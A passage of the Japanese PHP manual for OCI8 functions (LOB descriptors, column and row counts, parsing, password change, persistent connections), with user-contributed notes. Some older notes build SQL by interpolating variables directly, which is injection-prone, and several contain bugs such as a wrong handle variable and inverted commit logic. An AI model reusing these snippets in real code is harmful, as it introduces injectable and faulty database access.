PHP バージョン 5.0.0 以前では、代わりに ocinewdescriptor() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_new_descriptor() への別名として残されていますが、 推奨されません。

参考

  • oci_bind_by_name() - Oracle プレースホルダに PHP 変数をバインドする

User Contributed Notes

Mike 15-May-2012 08:46
If you're passing a clob variable to oracle stored procedure, you could:

<?php
$qry = 'begin my_sp(:largetext); end;';
$stmt = oci_parse($conn, $qry); //definition of $conn is not included here
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ":largetext", $clob, -1, OCI_B_CLOB);
$clob->writetemporary($mylargedata);
oci_execute($stmt);
$clob->free();
oci_free_statement($stmt);
?>

Hopefully this will help!
ajitsingh4u at gmail dot com 09-May-2008 06:31
<?php
// calling stored procedure to get clob data type (we use to get xml from oracle)

error_reporting(E_ALL ^ E_NOTICE);

$conn = oci_connect($user, $password);

$sql = "BEGIN sp_employee_xml_data_select(:result); END;";
$stmt = oci_parse($conn , $sql);

$objClob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ':result', $objClob, -1, OCI_B_CLOB);

oci_execute($stmt, OCI_DEFAULT);
$xmlData = $objClob->load($result);

$objClob->free();
oci_free_statement($stmt);

echo $xmlData;

?>
Ben Hubbard ben at vonik dot com 07-Apr-2006 09:57
Here is another example of how to insert a BLOB into table using a PL/SQL function.

Oracle Database Code:

create table blob_table ( the_blob blob);

create or replace function insert_blob(out_blob out blob)
    return integer is
    begin
       insert into blob_table values (EMPTY_BLOB())
         return the_blob into out_blob;
       return 0; /* Success */
    end insert_blob;

PHP Code:

<?php
  $iResult = -1;
  $strTestData = 'Testing 123';
  $conn = oci_connect($user, $password);
  $stmt = oci_parse($conn, "begin :RES := insert_blob(:OUT_BLOB); end;");

  $objBlob = oci_new_descriptor($conn, OCI_D_LOB);
  oci_bind_by_name($stmt, ":RES", $iResult);
  oci_bind_by_name($stmt, ":OUT_BLOB", $objBlob, -1, OCI_B_BLOB);
  oci_execute($stmt, OCI_DEFAULT);
  $objBlob->write($strTestData);
  oci_commit($conn);
  $objBlob->free();
  oci_free_statement($stmt);
?>
kirt at diagonalsoftware dot com 27-Jul-2005 07:43
Here is an example of retrieving a CLOB as an output parameter from a stored procedure. This is a bit hack-y and maybe there's a cleaner way to do this, but I couldn't find one. The following definitely works with Oracle 9:

// the query to call the procedure, which includes declaring the
// output parameter and assigning the result to a variable to be bound.
$qry = '
declare clob_out clob;
begin
  myprocedure(someparam_in, clob_out);
  :myclob := clob_out;
end;
';

// parse the query and bind the 'myclob' variable
$sth = OCIParse($conn,$qry);
$myclob = OCINewDescriptor($conn,OCI_D_LOB);
OCIBindByName($sth,":myclob",$myclob,-1,OCI_B_CLOB);

OCIExecute($sth);

// display the results
echo $myclob->load();
<Serg Petrenko> pserg at inkfrog dot com 08-Jun-2005 09:22
How to insert big XML data as CLOB into table with XMLType field.

<?php

//CREATE TABLE sometable(
//id number(8) not null,
//record XMLType
//) XMLTYPE COLUMN record STORE AS OBJECT RELATIONAL
//XMLSCHEMA "someschema" ELEMENT "some_element";
//

$sql = "INSERT INTO sometable(id, record) VALUES(some_sequqnce.nextval, sys.xmltype.createxml(:rec)) RETURNING ID INTO :rid";
$stmt = OCIParse($ora_conn,$sql);
$clob = OCINewDescriptor($ora_conn, OCI_D_LOB);
$rowid = OCINewDescriptor($ora_conn,OCI_D_ROWID);
OCIBindByName($stmt, ':rec', &$clob, -1,OCI_B_CLOB);
OCIBindByName($stmt, ':rid', $rowid, -1);
$clob->WriteTemporary($xml,OCI_TEMP_CLOB);
$success = OCIExecute($stmt,OCI_DEFAULT);
if(!$success) {
OCICommit($ora_conn);
}
OCIFreeStatement($stmt);
OCIFreeDesc($lob);

?>

I hope it will help :)
cyrill@_malevanov_dot_spb_dot_ru 10-May-2004 01:05
Passing CLOB to stored procedure and retrieve CLOB too (function lobinout(a in clob) return clob)

<?
    error_reporting(1+2+4+8);
    $conn = OCILogon('batdtd', 'batdtd', 'batxml');

    $lobin = OCINewDescriptor($conn, OCI_D_LOB);
    $lobout = OCINewDescriptor($conn, OCI_D_LOB);

    $stmt = OCIParse($conn, "declare rs clob; begin :rs := lobinout(:par); end;");
    $lob_data = 'abcdefgh';

    echo "binding lobin...";
    OCIBindByName($stmt, ':par', $lobin, -1, OCI_B_CLOB);

    echo "done<br>binding rs...";

    OCIBindByName($stmt, ':rs', $lobout, -1, OCI_B_CLOB);

    echo "done<br>writing temp lob...";
             // here we pass data to func
    $lobin -> WriteTemporary($lob_data);
    echo "done<br>executing...";

    OCIExecute($stmt, OCI_DEFAULT);
             // here we load data returned from func
    echo "done<br>rs = ".$lobout->load();
    OCICommit($conn);
    $lobin -> free();
    $lobout -> free();
    OCIFreeStatement($stmt);
    OCILogoff($conn);
?>
cjbj at hotmail dot com 16-Mar-2004 10:55
In PHP5 the way Example 2 passes a CLOB bind variable as an input
parameter to a PL/SQL procedure can be extended to BLOBs.

The critical change is:

    OCIBindByName($stmt, ':data', $blob, -1, OCI_B_BLOB);
    $blob->WriteTemporary($data, OCI_B_BLOB);

This doesn't work for me in PHP4.  I believe it is because the
implementation of OCIWriteTemporaryLob() always binds as a CLOB.
(This is true as of php4-STABLE-200403170230).  In PHP5 the interface
has changed and a type parameter is permitted.
Nathan Rogers 05-Nov-2003 03:35
I found another method of inserting/updating lob data.  It works the same was as passing lob parameters to a stored procedure and avoids the need for a RETURNING clause.
    $lob = OCINewDescriptor($conn, OCI_D_LOB);
    $stmt = OCIParse($conn,"insert into $table (id, the_blob)
               values(my_seq.NEXTVAL, :the_blob)");
    OCIBindByName($stmt, ':the_blob', &$lob, -1, OCI_B_BLOB);
    $lob->WriteTemporary($data);
    OCIExecute($stmt, OCI_DEFAULT);
    $lob->close();
    $lob->free();
    OCICommit($conn);

There are some cases involving triggers where you can't use a RETURNING clause, so this method can come in handy.  The case where I needed it was updating a view that had an instead-of update trigger.
Maxwell_Smart (at) ThePentagon (dot) com 23-Sep-2003 02:13
Just a note. When INSERTing a CLOB, if a VALUES clause is used, Oracle notes: You cannot initialize an internal LOB attribute in an object with a value other than empty or null. That is, you cannot use a literal.

That's why all the examples here INSERT an EMPTY_CLOB(), and use RETURNING to grab the pointer.

However, a CLOB can also be INSERTed via a SELECT statement, and that won't require any descriptors.

Example:

$Clob = Str_Replace("'", "''", $Clob);

OCIParse($DB, "INSERT INTO My_Table (My_Clob) SELECT '$Clob' FROM Dual");

This, of course, allows the use of a WHERE clause as well.
tca at engineer dot com 25-Oct-2002 01:33
Two examples of retrieving CLOBs from the database.  They are almost identical.  The first is using a package(and cursor) which is how I interface to Oracle at work, and the second is using straight SQL, which most people post examples in.

I also convert the case from upper to lower, since that is how I prefer to work with assoc arrays...

Instead of using the get_class() function you could use the OCIColumnType() function which (in this case) would return 'CLOB' as a result...

/**
* Example 1
*
* Using a PL/SQL package and cursor
*
*/
$cursor=':p_cur';
$sql2="begin clobPackage.getClob($cursor); end;";
$curs=OCINewCursor($conn);
$stmt=OCIParse($conn,$sql2);
OCIBindByName($stmt,$cursor,&$curs,-1,OCI_B_CURSOR);
OCIExecute($stmt,OCI_DEFAULT);
OCIExecute($curs,OCI_DEFAULT);
$x=0;
while(OCIFetch($curs)){
  $cols=OCINumCols($curs);
  for($i=1;$i<=$cols;$i++){
    $column_name=OCIColumnName($curs,$i);
    if(is_object($tmp=OCIResult($curs,$i))&&get_class($tmp)=='OCI-Lob'){
      $column_value=$tmp->load();
    }else{
      $column_value=$tmp;
    }
    $result[$x][strtolower($column_name)]=trim($column_value);
  }
  $x++;
}
OCICommit($conn);

/**
* Example 2
*
* Using a SELECT
*
*/
$query="SELECT a_num, a_clob FROM clob_test";
$stmt=OCIParse($conn,$query);
OCIExecute($stmt,OCI_DEFAULT);
$x=0;
while(OCIFetch($stmt)){
  $ncols=OCINumCols($stmt);
  for($i=1;$i<=$ncols;$i++){
    $column_name=OCIColumnName($stmt,$i);
    if(is_object($tmp=OCIResult($curs,$i))&&get_class($tmp)=='OCI-Lob'){
      $column_value=$tmp->load();
    }else{
      $column_value=$tmp;
    }
    $result[$x][strtolower($column_name)]=trim($column_value);
  }
  $x++;
}
OCICommit($conn);

I hope someone finds this useful.

Cheers,
Keith.
sozturk at emediamillworks dot com 09-Apr-2002 03:30
I had the same problem with updating the lobs with shorter content as in one of the notes above. The addition of "\0" at the end of the replacement text didn't help either. But the following worked perfectly:

$sql = "UPDATE sometable SET lob_col = EMPTY_LOB() WHERE key_col = $key RETURNING lob_col INTO :lob";
$stmt = OCIParse($conn,$sql);
$lob = OCINewDescriptor($conn,OCI_D_LOB);
OCIBindByName($stmt,':lob',&$lob,-1,OCI_B_BLOB);
OCIExecute($stmt,OCI_DEFAULT);
$lob->save($sometext);
$lob->free();
aidanpeiser at yahoo dot com 27-Mar-2002 11:12
another way to display your clob details !

    $query = "select * from Your_clob_table";
    $stmt = OCIParse($conn, $query);
    ociexecute($stmt);

        while ( OCIFetch($stmt))
        {
         $lob = OCIResult($stmt,"CLOB_MESSAGE");
         $CLOB_MESSAGE = $lob->load();
         echo $CLOB_MESSAGE;
        }

this works,
moom_mong at yahoo dot com 18-Dec-2001 10:54
To read a lob, other way:

$sql = OCIParse("select * from table_with_lob_field");
OCIExecute($sql, OCI_DEFAULT);
while ( OCIFetch($sql)) {
 $o = ociresult($sql,"loc_field_name");
 $loc_field_name = $o->load();
 print $loc_field_name;
};
jcd at iddg dot com 03-Mar-2000 02:42
[Editor's note: don't use '&' for parameters in bind calls in PHP 5]

The code up above is somewhat correct... here's an example of how I got a CLOB to work

<?php
function insert_adinfo($AdInfoID, $MagazineType, $Publish, $DatePost, $BodyText)
{
   global $db;

    // Insert record into database
    $clob = OCINewDescriptor($db, OCI_D_LOB);
    $stmt = OCIParse($db,"insert into tblAdInfo values ($AdInfoID,                  $MagazineType, '$Publish', to_date('$DatePost', 'YYYY-MM-DD'),                  EMPTY_CLOB()) returning BodyText into :the_blob");
    OCIBindByName($stmt, ':the_blob', &$clob, -1, OCI_B_CLOB);
    OCIExecute($stmt, OCI_DEFAULT);
    if($clob->save($BodyText)){
        OCICommit($db);
    }else{
        echo "Problems: Couldn't upload Clob\n";
    }

   OCIFreeDescriptor($clob);
   OCIFreeStatement($stmt);
}
?>


ある文における結果のカラム数を返す

  • ≪ oci_new_descriptor
  • oci_num_rows ≫
  • PHP Manual
  • OCI8 関数
  • ある文における結果のカラム数を返す

oci_num_fields

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_num_fields — ある文における結果のカラム数を返す

説明

oci_num_fields ( resource $statement ) : int

指定した文 statement におけるカラムの数を返します。

パラメータ

statement

有効な OCI ステートメント ID。

返り値

カラムの数を表す整数値、あるいはエラー時に false を返します。

例

例1 oci_num_fields() の例

<?php

// 以下のテーブルを用意します
//   CREATE TABLE mytab (id NUMBER, quantity NUMBER);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // 行をフェッチしない場合は OCI_DESCRIBE_ONLY を使います

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
    echo oci_field_name($stid, $i) . " " . oci_field_type($stid, $i) . "<br>\n";
}

// 出力は
//    ID NUMBER
//    QUANTITY NUMBER

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

PHP バージョン 5.0.0 以前では、代わりに ocinumcols() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_num_fields() への別名として残されていますが、 推奨されません。

User Contributed Notes

jnield at impole dot com 18-Nov-1999 07:43
The following is not immediately obvious:

If you need the number of columns in a REF CURSOR returned from a PL/SQL procedure, you need to use OCINumColumns() on the cursor handle returned by OCINewCursor after it is bound and executed, not the statement handle. Same applies for OCIColumnName() and friends.


文の実行で作用された行数を取得する

  • ≪ oci_num_fields
  • oci_parse ≫
  • PHP Manual
  • OCI8 関数
  • 文の実行で作用された行数を取得する

oci_num_rows

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_num_rows — 文の実行で作用された行数を取得する

説明

oci_num_rows ( resource $statement ) : int

文の実行で作用された行数を取得します。

パラメータ

statement

有効な OCI ステートメント ID。

返り値

作用された行の数を表す整数値、あるいはエラー時に false を返します。

例

例1 oci_num_rows() の例

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "create table emp2 as select * from employees");
oci_execute($stid);
echo oci_num_rows($stid) . " rows inserted.<br />\n";
oci_free_statement($stid);

$stid = oci_parse($conn, "delete from emp2");
oci_execute($stid, OCI_DEFAULT);
echo oci_num_rows($stid) . " rows deleted.<br />\n";
oci_commit($conn);
oci_free_statement($stid);

$stid = oci_parse($conn, "drop table emp2");
oci_execute($stid);
oci_free_statement($stid);

oci_close($conn);

?>

注意

注意:

この関数は、select が返す行の数は 返しません ! SELECT 文の場合、この関数は oci_fetch*() 関数によってバッファに取得された行数を返します。

注意:

PHP バージョン 5.0.0 以前では、代わりに ocirowcount() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_num_rows() への別名として残されていますが、 推奨されません。

User Contributed Notes

raywachaga at gmail dot com 15-Sep-2018 01:53
<?php if ( oci_num_rows($result) == false )  ?>

You can use the snippet above to test out if a select statement returned any rows, it won't do a count but it comes in handy
Dawid Krysiak 22-Dec-2016 03:21
oci_num_rows() called after running i.e. TRUNCATE query, always returns 0.
pluueer at hotmail dot com 20-Apr-2010 02:51
If you want to return te number of rows without fetching all data it might by more efficient to use this code (correct me if I'm wrong):

$sql_query = 'SELECT COUNT(*) AS NUMBER_OF_ROWS FROM (' . $your_query . ')';

$stmt= oci_parse($conn, $sql_query);

oci_define_by_name($stmt, 'NUMBER_OF_ROWS', $number_of_rows);

oci_execute($stmt);

oci_fetch($stmt);

echo $number_of_rows;
justin at flakmag dot com 26-Aug-2000 06:59
It appears the easiest workaround if you want to get numrows without moving to the end of the result set is to use:

numrows = OCIFetchStatement(...);
OCIExecute(...);

So that the execute re-executes the query. It's horribly inefficient to query twice, but it works.
batti at digito dot com 16-Feb-2000 08:52
this function can be used with select statement, and also return affected number of rows.
But remember this, use this after fetch statement.


実行のために Oracle の文をパースする

  • ≪ oci_num_rows
  • oci_password_change ≫
  • PHP Manual
  • OCI8 関数
  • 実行のために Oracle の文をパースする

oci_parse

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_parse — 実行のために Oracle の文をパースする

説明

oci_parse ( resource $connection , string $sql_text ) : resource

connection を使って sql_text をパースし、ステートメント ID を返します。この ID は、oci_bind_by_name(), oci_execute() や他の関数で使用されます。

ステートメント ID を解放するには、 oci_free_statement() を使うか、あるいは 変数に null を代入します。

パラメータ

connection

oci_connect()、oci_pconnect() あるいは oci_new_connect() が返す Oracle 接続 ID。

sql_text

SQL あるいは PL/SQL ステートメント。

SQL の最後にセミコロン (";") をつけては いけません。一方、PL/SQL ステートメントの最後はセミコロン (";") を つけなければなりません。

返り値

成功した場合にステートメントハンドル、あるいはエラー時に false を返します。

例

例1 oci_parse() での SQL 文の例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

// パースします。SQL 文の最後にはセミコロンがないことに注意しましょう
$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

例2 oci_parse() での PL/SQL の例

<?php

/*
  この PHP プログラムを実行する前に、SQL*Plus や SQL Developer で
  ストアドプロシージャを作っておきます

  CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
  BEGIN
      p2 := p1 * 2;
  END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p1 = 8;

// PL/SQL プログラムをパースするには、文字列の最後にセミコロンが必要です
$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n";   // 16 と表示します

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

この関数は sql_text を検証 しません。 sql_text が有効な SQL あるいは PL/SQL 文かどうかを検証する唯一の方法 - それは実行することです。

参考

  • oci_execute() - 文を実行する
  • oci_free_statement() - 文やカーソルに関連付けられた全てのリソースを解放する

User Contributed Notes

interloper at ukr dot net 02-Sep-2015 03:06
If you want using PL/SQL in variable:

<?php
$query = "begin null;  end;";
$stid = oci_parse($conn, "$query");
 ?>

or

<?php
$stid = oci_parse($conn, "begin null;  end;");
?>
falundir at gmail dot com 08-Feb-2011 05:38
When you want to call stored function (and want to read its result) which executes DML queries (insert, update, delete) inside its body you can't use "select your_stored_function(:param1, :param2) from dual" because you will receive "ORA-14551: cannot perform a DML operation inside a query" error.

In order to call such function and get its result you need to wrap it into nested procedure with OUT parameter like this:

DECLARE
  PROCEDURE caller(return_value OUT NUMBER) AS
  BEGIN
    return_value := your_stored_function(:param1, :param2);
  END;
BEGIN
  caller(:return_value);
END;

and bind to :return_value variable to get the result of function.
michael dot virnstein at brodos dot de 04-Dec-2007 08:43
A neat way to parse a query only once per script, if the query is done inside a function:

<?php
function querySomething($conn, $id)
{
    static $stmt;

    if (is_null($stmt)) {
        $stmt = oci_parse($conn, 'select * from t where pk = :id');
    }

    oci_bind_by_name($stmt, ':id', $id, -1);

    oci_execute($stmt, OCI_DEFAULT);

    return oci_fetch_array($stmt, OCI_ASSOC);

}

?>

With the static variable, the statment handle isn't closed after the function has terminated. Very nice for functions that are called e.g. in loops. Unfortunately this only works for static sql. If you have dynamic sql, you can do the following:

<?php

function querySomething($conn, $data)
{
    static $stmt = array();

    $first = true;

    $query = 'select * from t';

    foreach ($data as $key => $value) {
        if ($first) {
            $first = false;
            $query .= ' where ';
        } else {
            $query .= ' and ';
        }

        $query .= "$key = :b$key";
    }

    $queryhash = md5($query);

    if (is_null($stmt[$queryhash])) {
        $stmt[$queryhash] = oci_parse($conn, $query);
    }

    foreach ($data as $key => $value) {
        // don't use $value, because we bind memory addresses here.
        // this would result in every bind pointing at the same value after foreach
        oci_bind_by_name($stmt[$queryhash], ":b$key", $data[$key], -1);
    }

    oci_execute($stmt[$queryhash], OCI_DEFAULT);

    return oci_fetch_array($stmt[$queryhash], OCI_ASSOC);

}

?>
kurt at kovac dot ch 04-May-2004 08:40
For those that are having trouble with error checking, i have noticed on a lot of sites that people are trying to check the statement handle for error messages with OCIParse. Since the statement handle ($sth) is not created yet, you need to check the database handle ($dbh) for any errors with OCIParse. For example:

instead of:

<?php
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($stmt);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}
?>

use:

<?php
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($conn);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}
?>

Hope this helps someone.
egypt at nmt dot edu 14-Oct-2003 07:31
Whereas MySQL doesn't care what kind of quotes are around a LIKE clause, ociexecute gives the error:
    ociexecute(): OCIStmtExecute: ORA-00904: "NM": invalid identifier
for the following.
<?php
$sql  = "SELECT * FROM addresses "
      . "WHERE state LIKE \"NM\"";  // error!
$stmt = ociparse($conn, $sql);
ociexecute($stmt);
?>

it's fine if you just use single quotes:
    . "WHERE state LIKE 'NM'";
but i think it's interesting that ociparse doesn't say anything


Oracle ユーザーのパスワードを変更する

  • ≪ oci_parse
  • oci_pconnect ≫
  • PHP Manual
  • OCI8 関数
  • Oracle ユーザーのパスワードを変更する

oci_password_change

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_password_change — Oracle ユーザーのパスワードを変更する

説明

oci_password_change ( resource $connection , string $username , string $old_password , string $new_password ) : bool
oci_password_change ( string $dbname , string $username , string $old_password , string $new_password ) : resource

ユーザー username のパスワードを変更します。

oci_password_change() が役立つのは、 PHP コマンドラインスクリプトで使う場合や PHP アプリケーションで持続的でない接続を使う場合です。

パラメータ

connection

oci_connect() あるいは oci_pconnect() が返す Oracle 接続 ID。

username

Oracle のユーザー名。

old_password

旧パスワード。

new_password

設定したい、新しいパスワード。

dbname

データベース名。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 oci_password_change() で、接続中のユーザーのパスワードを変更する例

<?php

$dbase      = 'localhost/orcl';
$user       = 'cj';
$current_pw = 'welcome';
$new_pw     = 'geelong';

$c = oci_pconnect($user, $current_pw, $dbase);
oci_password_change($c, $user, $current_pw, $new_pw);
echo "New password is : " . $new_pw . "\n";

?>

例2 oci_password_change() で、接続とパスワードの変更を一度に行う例

<?php

$dbase      = 'localhost/orcl';
$user       = 'cj';
$current_pw = 'welcome';
$new_pw     = 'geelong';

$c = oci_pconnect($user, $current_pw, $dbase);
if (!$c) {
    $m = oci_error();
    if ($m['code'] == 28001) { // "ORA-28001: the password has expired"
        // ログインとパスワードリセットを同時に行います
        $c = oci_password_change($dbase, $user, $current_pw, $new_pw);
        if ($c) {
            echo "New password is : " . $new_pw . "\n";
        }
    }
}

if (!$c) {  // 28001 以外のエラーが発生したり、パスワードの変更に失敗したりした場合
    $m = oci_error();
    trigger_error('Could not connect to database: '. $m['message'], E_USER_ERROR);
}

// 接続 $c が使えます
...

?>

注意

注意:

この関数を使うにせよ Oracle から直接操作するにせよ、 パスワードを変更する際には十分注意しましょう。 持続的接続を使っている場合、PHP アプリケーションからは古いパスワードでも認証できてしまいます。 ユーザーのパスワードを変更したら、ウェブサーバーをすべて再起動させるのがお勧めの方法です。

注意:

Oracle クライアントライブラリあるいはデータベースを 11.2.0.3 より前のリリースから 11.2.0.3 以降のバージョンにアップグレードするときには、クライアントとサーバーのバージョンを同時に上げないと oci_password_change() は "ORA-1017: invalid username/password" エラーとなってしまいます。

注意:

oci_password_change() の 2 番目の書式は OCI8 バージョン 1.1 から利用可能です。

注意:

PHP バージョン 5.0.0 以前では、代わりに ocipasswordchange() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_password_change() への別名として残されていますが、 推奨されません。

User Contributed Notes

There are no user contributed notes for this page.


持続的接続を使用してOracle データベースに接続する

  • ≪ oci_password_change
  • oci_register_taf_callback ≫
  • PHP Manual
  • OCI8 関数
  • 持続的接続を使用してOracle データベースに接続する

oci_pconnect

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_pconnect — 持続的接続を使用してOracle データベースに接続する

説明

oci_pconnect ( string $username , string $password , string $connection_string = ? , string $character_set = ? , int $session_mode = ? ) : resource

Oracle サーバーへの持続的接続を生成し、ログオンします。

持続的接続はキャッシュされ、リクエスト間で再利用されることで、 各ページロードのオーバーヘッドを軽減します。 典型的な PHP アプリケーションでは、Apache の子プロセス (もしくは PHP FPM プロセス) ごとに Oracle サーバーに対してオープンされた単一の持続的接続を有します。 より詳細な情報については、 OCI8 接続のハンドリングおよびプーリング のセクションを参照してください。

パラメータ

username

Oracle のユーザー名。

password

username のパスワード。

connection_string

接続先の Oracle インスタンス。 » Easy Connect 文字列、tnsnames.ora ファイルの接続文字列、あるいはローカルの Oracle インスタンス名を指定します。

省略した場合、PHP は環境変数 TWO_TASK (Linux) あるいは LOCAL (Windows) と ORACLE_SID を用いて接続先の Oracle インスタンス を判断します。

Easy Connect 方式を使うには、PHP を Oracle 10g 以降のクライアントライブラリとリンクさせる必要があります。Oracle 10g の Easy Connect 文字列の形式は [//]host_name[:port][/service_name] です。Oracle 11g 以降の場合は、この構文は [//]host_name[:port][/service_name][:server_type][/instance_name] となります。 Oracle 19c では、さらにオプションが追加されています。 タイムアウトや keep-alive の設定を含みます。詳細は Oracle のドキュメントを参照して下さい。 サービス名を調べるには、Oracle のユーティリティ lsnrctl status をデータベースサーバー上で実行します。

tnsnames.ora ファイルは Oracle Net のサーチパス上にあります。 サーチパスに含まれるのは /your/path/to/instantclient/network/admin, $ORACLE_HOME/network/admin, /etc です。 もうひとつの方法として、 TNS_ADMIN を指定して $TNS_ADMIN/tnsnames.ora を読み込ませることもできます。 ウェブデーモンにそのファイルの読み込み権限を与えておきましょう。

character_set

Oracle クライアントライブラリが使う文字セットを指定します。 これは、データベースが用いる文字セットと一致させる必要はありません。 一致していない場合は、Oracle が最善を尽くしてデータベースの文字セットとの間の変換を行います。 文字セットによっては、この変換結果がうまく使えないこともあります。 また、変換にはそれなりの時間を要します。

省略した場合は、 Oracle クライアントライブラリは環境変数 NLS_LANG の値をもとに文字セットを判断します。

このパラメータを渡すことで、 接続に要する時間を短縮できます。

session_mode

このパラメータは PHP 5 (PECL OCI8 1.1) 以降で使え、 OCI_DEFAULT、 OCI_SYSOPER そして OCI_SYSDBA といった値を指定することができます。OCI_SYSOPER あるいは OCI_SYSDBA を指定した場合は、 この関数は外部の証明書を使った特権接続の確立を試みます。 特権接続は、デフォルトでは無効になっています。有効にするには oci8.privileged_connect を On に設定しなければなりません。

PHP 5.3 (PECL OCI8 1.3.4) 以降、 OCI_CRED_EXT モードを使えるようになりました。 これは、Oracle に外部認証あるいは OS 認証を使うよう指示します。 どちらかをデータベースで設定しておかなければなりません。 OCI_CRED_EXT フラグを使えるのは、ユーザー名が "/" でパスワードが空のときだけです。 oci8.privileged_connect は On あるいは Off のどちらでもかまいません。

OCI_CRED_EXT は、 OCI_SYSOPER あるいは OCI_SYSDBA モードと組み合わせて使います。

OCI_CRED_EXT は、セキュリティ上の理由により Windows ではサポートされていません。

返り値

接続 ID、あるいはエラー時に false を返します。

例

例1 Easy Connect 構文を使った oci_pconnect() の例

<?php

// "localhost" 上の XE サービス (データベース) に接続します
$conn = oci_pconnect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

パラメータの使いかたについては、oci_connect() の例も参照ください。

注意

注意: PHP 5.1.2 および PECL OCI8 1.1 から、持続的 Oracle 接続の生存時間と最大数を PHP のプロセス単位で調節できるようになりました。 次の設定値を利用します。 oci8.persistent_timeout, oci8.ping_interval, oci8.max_persistent 。

参考

  • oci_connect() - Oracle データベースに接続する
  • oci_new_connect() - 一意な接続を使って Oracle サーバーへ接続する

User Contributed Notes

gotankersley at NOSPAM dot com 13-Jun-2012 02:29
Installed on CentOS 6.2, and had lots of trouble getting it to recognize tnsnames.ora.  The fix for me was:

1. Make sure apache is getting the TNS_ADMIN env variable by putting it in the /etc/init.d/httpd file:
 TNS_ADMIN=/usr/lib/oracle/11.2/client64/network/admin
 export PATH TNS_ADMIN

This can be debugging in PHP by <?php echo system('env'); ?> and by verifying that TNS_ADMIN is there.

2. Make sure to use the name at the beginning of the tnsnames.ora file - not the SID (although ideally they should match.  However, if the name at the beginning is XXXX.world then pconnect will expect this - not the SID)
php at jaggard dot org dot uk 09-Oct-2008 09:38
[Editor's note: OCI8 1.3 should not experience the problem described in this user comment. The first use of such a connection will return an Oracle error which will trigger a cleanup in PHP.  Subsequent persistent connection calls will then succeed.  For high availability you might consider doing consecutive oci_pconnect calls in your script.]

If you connect using oci_pconnect and the connection has logged you off but is still valid, there seems to be no way to re-use that connection. The next time I try oci_pconnect and then perform an oci_execute operation, I get a "ORA-01012: not logged on" warning. This problem remains, even if I close the connection using oci_close. I ended up with the following (rather annoying) code.

<?php
    function getOracleConnection()
    {
      if (!function_exists('oci_pconnect'))
        return false;
      $toReturn = oci_pconnect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      if (!function_exists('oci_connect'))
        return false;
      $toReturn = oci_connect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      if (!function_exists('oci_new_connect'))
        return false;
      $toReturn = oci_new_connect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      return false;
    }
?>


Register a user-defined callback function for Oracle Database TAF

  • ≪ oci_pconnect
  • oci_result ≫
  • PHP Manual
  • OCI8 関数
  • Register a user-defined callback function for Oracle Database TAF

oci_register_taf_callback

(PHP 7.0 >= 7.0.21, PHP 8, PHP 7 >= 7.1.7, PHP 8, PECL OCI8 >= 2.1.7)

oci_register_taf_callback — Register a user-defined callback function for Oracle Database TAF

説明

oci_register_taf_callback ( resource $connection , mixed $callbackFn = ? ) : bool
